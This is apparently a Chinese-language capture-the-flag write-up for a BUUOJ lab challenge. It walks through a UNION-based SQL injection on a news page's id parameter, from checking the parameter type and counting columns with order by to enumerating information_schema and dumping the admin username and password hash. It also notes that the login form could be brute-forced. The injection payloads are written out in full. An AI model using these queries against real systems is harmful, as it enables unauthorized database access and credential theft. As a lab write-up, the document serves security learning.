题目
步骤
我们打开靶机地址
发现了标题栏有两个按钮,分别是热点及登录
登录按钮点击后是一个登陆界面,随意输入字符点击后显示提示信息"用户名或密码错误",并且抓包发现是提交的POST请求,可以对该登录界面进行暴破操作,但是因为需要猜解两个字段内容且密码内容无提示,时间需求比较久,且需要较庞大的字典
热点按钮显示热点列表,有三个新闻,里面只有无意义的字符串,但是地址栏显示了/content/1
通过抓包发现提交了GET请求,字段为id
对此我们可以针对热点新闻的id进行sql注入攻击
首先我们构造url,验证id的值为数值型还是字符型,我们在id处输入3-1,结果出现的新闻是2,则该参数值类型应该为数值型
然后我们构造order by sql语句验证该数据表中共有几列数据,当我们order by 3时,列表为空,而order by 2时,列表有数据,则证明该数据表中只有两列
然后我们构造union联合查询,查询该数据库名称,database()可以显示当前数据库名称,得到数据库名为news
http://cacf39ff-1247-4ff0-92ac-d0d2aa5e35af.node5.buuoj.cn:81/#/content/
-1 union select 1,database()
根据数据库名,我们可以在源数据库information_schema中查到该数据库的所有表名,当前查到一共两张表,admin和contents表。
http://cacf39ff-1247-4ff0-92ac-d0d2aa5e35af.node5.buuoj.cn:81/#/content/
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='news'
//group_concat函数为将多个结果合并为一条
通过判断可知contents表应为热点新闻的数据表,admin大概率为用户表,所以我们构建sql根据表名查询该表下的各字段名,成功得到字段名:id,username,password
http://cacf39ff-1247-4ff0-92ac-d0d2aa5e35af.node5.buuoj.cn:81/#/content/
-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='news' and table_name='admin'
由字段名可知username为用户名,password为密码,直接查询这两个字段的值
得到用户名为admin,密码为cafc647c8403b255d8822647235a8d3f
http://cacf39ff-1247-4ff0-92ac-d0d2aa5e35af.node5.buuoj.cn:81/#/content/
-1 union select 1,group_concat(username,' ',password) from admin
点开登录界面进行登录,得到flag
输入flag,闯关成功